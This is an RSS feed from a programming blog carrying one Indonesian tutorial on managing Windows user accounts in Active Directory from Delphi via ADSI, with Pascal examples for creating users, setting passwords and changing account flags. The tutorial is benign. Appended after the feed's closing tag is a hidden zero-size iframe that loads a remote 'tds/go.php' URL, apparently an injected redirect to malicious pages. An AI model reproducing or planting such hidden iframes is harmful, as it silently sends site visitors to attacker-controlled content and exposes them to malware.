<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; active directory</title>
	<atom:link href="http://www.dijexi.com/tag/active-directory/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Mengakses Active Directory dari Delphi</title>
		<link>http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/</link>
		<comments>http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/#comments</comments>
		<pubDate>Fri, 17 Jul 2009 04:12:45 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[active directory]]></category>
		<category><![CDATA[adsi]]></category>
		<category><![CDATA[windows 2003]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/</guid>
		<description><![CDATA[Agar bisa membuat, menghapus, memodifikasi user account Windows di Active Directory melalui Delphi kita perlu menggunakan ADSI (Active Directory Services Interface) dari Microsoft. ADSI sebetulnya tersedia di semua platform Win32, namun selain Windows 2000 keatas kita perlu download dulu dari http://www.microsoft.com/adsi. Bahasan ADSI sangat kompleks. Pada tulisan ini cuma dibahas beberapa yang penting aja. ADSI [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Agar bisa membuat, menghapus, memodifikasi user account Windows di Active Directory melalui Delphi kita perlu menggunakan ADSI (Active Directory Services Interface) dari Microsoft. ADSI sebetulnya tersedia di semua platform Win32, namun selain Windows 2000 keatas kita perlu download dulu dari <a href="http://www.microsoft.com/adsi">http://www.microsoft.com/adsi</a>. </p>
<p>Bahasan ADSI sangat kompleks. Pada tulisan ini cuma dibahas beberapa yang penting aja. ADSI adalah sejenis generic interface untuk directory services. Beberapa provider ADSI standard (COM yaitu interfaces yang dapat kita gunakan di program) adalah WinNT, IIS, LDAP dan NDS. Provider jenis WinNT dapat digunakan untuk membuat, modify user accounts, maupun groups (dan banyak hal lain lagi).</p>
<p> <span id="more-818"></span>
<p>Pertama kita perlu import ADSI Type Library (dari Menu Project/Import Type Library). Type Library yang dimaksud dapat ditemukan pada system32 subdirectory (misalnya C:\WINNT\system32\activeds.tlb). File yang diperlukan adalah &#8216;activeds.tlb&#8217;. Jika file tersebut belum ada, kemungkinan ADSI belum ter-installed dengan benar. </p>
<p>Setelah berhasil import Type Library kita akan menemukan file baru pada Delphi Imports directory dengan nama activeds_tlb.pas (misalnya ..\Delphi7\Imports\activeds_tlb.pas). Selanjutnya kita perlu meng-include file ini pada uses clause agar ADSI programming bisa dilakukan pada program Delphi.</p>
<p>Pada contoh pembuatan user melalui ADSI, anda perlu ganti [computername] dengan nama komputer yang betul yang anda gunakan. Hal yang sama juga pada [accountname]. Program ini telah dites pada    <br />WindowsNT 4.0, Windows 2000, dan Windows 2003.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:901e0178-9382-461b-8649-ca0a0582dc5f" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">uses</span> ActiveX, &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">// hal-hal yang berhubungan dengan COM </span><br />
&nbsp; &nbsp; &nbsp;ActiveDs_TLB, &nbsp; <span class="co1">// type library ADSI</span><br />
&nbsp; &nbsp; &nbsp;ComObj; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// untuk OleCheck dan COM functions lainnya</span></p>
<p><span class="kw2">implementation</span></p>
<p><span class="kw2">procedure</span> TForm1.<span class="me1">BtnCreateUserClick</span><span class="br0">&#40;</span>Sender: TObject<span class="br0">&#41;</span>;<br />
<span class="kw1">var</span><br />
&nbsp; Usr: &nbsp;IADsUser;<br />
&nbsp; Comp: IADsContainer;<br />
<span class="kw1">begin</span><br />
&nbsp; <span class="kw1">try</span><br />
&nbsp; &nbsp; Comp := GetObject<span class="br0">&#40;</span><span class="st0">&#8216;WinNT://[computername],computer&#8217;</span><span class="br0">&#41;</span> as<br />
&nbsp; &nbsp; &nbsp; IADsContainer;<br />
&nbsp; &nbsp; Usr := Comp.<span class="me1">Create</span><span class="br0">&#40;</span><span class="st0">&#8216;user&#8217;</span>, <span class="st0">&#8216;[accountname]&#8216;</span><span class="br0">&#41;</span> as IADsUser;<br />
&nbsp; &nbsp; Usr.<span class="me1">setPassword</span><span class="br0">&#40;</span><span class="st0">&#8216;passwordnya&#8217;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; Usr.<span class="me1">SetInfo</span>;<br />
&nbsp; <span class="kw1">except</span><br />
&nbsp; &nbsp; on E: EOleException <span class="kw1">do</span> <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; ShowMessage<span class="br0">&#40;</span>E.<span class="me1">Message</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; <span class="kw1">end</span>;<br />
<span class="kw1">end</span>;</p>
<p>
<span class="kw2">procedure</span> TForm1.<span class="me1">BtnSetPasswordClick</span><span class="br0">&#40;</span>Sender: TObject<span class="br0">&#41;</span>;<br />
<span class="kw1">var</span><br />
&nbsp; Usr: IADsUser;<br />
<span class="kw1">begin</span><br />
&nbsp; <span class="kw1">try</span><br />
&nbsp; &nbsp; Usr := GetObject<span class="br0">&#40;</span><span class="st0">&#8216;WinNT://[computername]/[accountname],user&#8217;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; as IADsUser;<br />
&nbsp; &nbsp; Usr.<span class="me1">SetPassword</span><span class="br0">&#40;</span><span class="st0">&#8216;thenewpassword&#8217;</span><span class="br0">&#41;</span>;<br />
&nbsp; <span class="kw1">except</span><br />
&nbsp; &nbsp; on E: EOleException <span class="kw1">do</span> <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; ShowMessage<span class="br0">&#40;</span>E.<span class="me1">Message</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; <span class="kw1">end</span>;<br />
<span class="kw1">end</span>;</p>
<p>
<span class="co1">// GetObject is a implementation of the VB GetObject call</span><br />
<span class="co1">// I&#8217;ve found this code (GetObject) on the Usenet. &nbsp;</span><br />
<span class="co1">//</span><br />
<span class="co1">// With GetObject can you bind to an existing ADSI provider</span><br />
<span class="co1">// using a &#8216;ADSIPath&#8217; (for example WinNT://&#8230;. or</span><br />
<span class="co1">// IIS://localhost).</span></p>
<p><span class="kw2">function</span> TForm1.<span class="me1">GetObject</span><span class="br0">&#40;</span><span class="kw4">const</span> <span class="kw1">Name</span>: <span class="kw4">string</span><span class="br0">&#41;</span>: IDispatch;<br />
<span class="kw1">var</span><br />
&nbsp; Moniker: IMoniker;<br />
&nbsp; Eaten: <span class="kw4">integer</span>;<br />
&nbsp; BindContext: IBindCtx;<br />
&nbsp; Dispatch: IDispatch;<br />
<span class="kw1">begin</span><br />
&nbsp; OleCheck<span class="br0">&#40;</span>CreateBindCtx<span class="br0">&#40;</span><span class="nu0">0</span>, BindContext<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; OleCheck<span class="br0">&#40;</span>MkParseDisplayName<span class="br0">&#40;</span>BindContext,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PWideChar<span class="br0">&#40;</span>WideString<span class="br0">&#40;</span><span class="kw1">Name</span><span class="br0">&#41;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Eaten,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Moniker<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; OleCheck<span class="br0">&#40;</span>Moniker.<span class="me1">BindToObject</span><span class="br0">&#40;</span>BindContext, <span class="kw2">NIL</span>, IDispatch,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dispatch<span class="br0">&#41;</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; Result := Dispatch;<br />
<span class="kw1">end</span>;</p>
<p><span class="kw1">end</span>.<br />
&nbsp;</div>
</div>
<p>Melalui ADSI kita dapat juga memodifikasi setting user account. Baris dibawah ini digunakan untuk mengganti &#8216;Password never expires&#8217; flag suatu account:</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:c4b62d7b-233d-42d5-b390-672112169f25" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">procedure</span> TFormMain.<span class="me1">ButtonNeverExpiresClick</span><span class="br0">&#40;</span>Sender: TObject<span class="br0">&#41;</span>;<br />
<span class="kw1">var</span><br />
&nbsp; Usr: IADsUser;<br />
<span class="kw1">begin</span><br />
&nbsp; <span class="kw1">try</span><br />
&nbsp; &nbsp; Usr := GetObject<span class="br0">&#40;</span><span class="st0">&#8216;WinNT://[computername]/[acccoutname],user&#8217;</span><span class="br0">&#41;</span> as<br />
&nbsp; &nbsp; &nbsp; IADsUser;<br />
&nbsp; <span class="co1">// Check the Checkbox State&#8230;</span><br />
&nbsp; <span class="kw1">if</span> CheckBoxPasswordNeverExpires.<span class="me1">Checked</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; Usr.<span class="me1">Put</span><span class="br0">&#40;</span><span class="st0">&#8216;UserFlags&#8217;</span>, Usr.<span class="kw3">Get</span><span class="br0">&#40;</span><span class="st0">&#8216;UserFlags&#8217;</span><span class="br0">&#41;</span> OR <span class="nu0">65536</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="co1">// 65536 is defined as UF_DONT_EXPIRE_PASSWORD in iads.h &nbsp;</span><br />
&nbsp; &nbsp; <span class="co1">// from the ADSI SDK available from Microsoft</span><br />
&nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; Usr.<span class="me1">Put</span><span class="br0">&#40;</span><span class="st0">&#8216;UserFlags&#8217;</span>, Usr.<span class="kw3">Get</span><span class="br0">&#40;</span><span class="st0">&#8216;UserFlags&#8217;</span><span class="br0">&#41;</span> <span class="kw3">XOR</span> <span class="nu0">65536</span><span class="br0">&#41;</span>; &nbsp;<br />
&nbsp; &nbsp; Usr.<span class="me1">SetInfo</span>;<br />
&nbsp; <span class="kw1">except</span><br />
&nbsp; &nbsp; on E: EOleException <span class="kw1">do</span> <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; ShowMessage<span class="br0">&#40;</span>E.<span class="me1">Message</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; <span class="kw1">end</span>;<br />
<span class="kw1">end</span>;<br />
&nbsp;</div>
</div>
<p>
  </p>
<p align="left">
<div style="padding-right: 20px; float: left"><iframe style="border-bottom: medium none; border-left: medium none; border-top: medium none; border-right: medium none" height="600" marginheight="0" border="0" src="http://rcm.amazon.com/e/cm?t=vitrainingcom-20&amp;o=1&amp;p=14&amp;l=st1&amp;mode=books&amp;search=delphi%20programming&amp;fc1=000000&amp;lt1=&amp;lc1=3366FF&amp;bg1=FFFFFF&amp;f=ifr" frameborder="0" width="160" marginwidth="0" scrolling="no"></iframe></div>
<p><!-- Adsense End --></p>
<p>Lebih lanjut &#8230;.</p>
<p>Untuk lebih mendalami ADSI anda perlu cek detail interface IADsUser atau IADsContainer. Informasi ADSI SDK dari Microsoft dapat dilihat di sini nih: <a href="http://msdn.microsoft.com/en-us/library/bb905317.aspx">http://msdn.microsoft.com/en-us/library/bb905317.aspx</a>.</p>
<p>Referensi: <a href="http://www.delphi3000.com">www.delphi3000.com</a></p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:489be01d-9f94-430c-9dfa-6cceb6823b01" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/delphi" rel="tag">delphi</a>,<a href="http://technorati.com/tags/active+directory" rel="tag">active directory</a>,<a href="http://technorati.com/tags/windows+2003" rel="tag">windows 2003</a>,<a href="http://technorati.com/tags/adsi" rel="tag">adsi</a></div>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a> </p>
<p><a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-dan-menambah-komponen-delphi/" rel="bookmark">20. Membuat dan Menambah Komponen</a></li><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-dll/" rel="bookmark">21. Advanced Delphi: DLL</a></li><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2011/07/how-to-import-existing-project-directory-into-svn-repository/" rel="bookmark">How to Import Existing Project Directory Into SVN Repository</a></li><li><a href="http://www.dijexi.com/2009/06/mengenal-delphi/" rel="bookmark">01. Mengenal Delphi</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fmengakses-active-directory-dari-delphi%2F&amp;linkname=Mengakses%20Active%20Directory%20dari%20Delphi"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
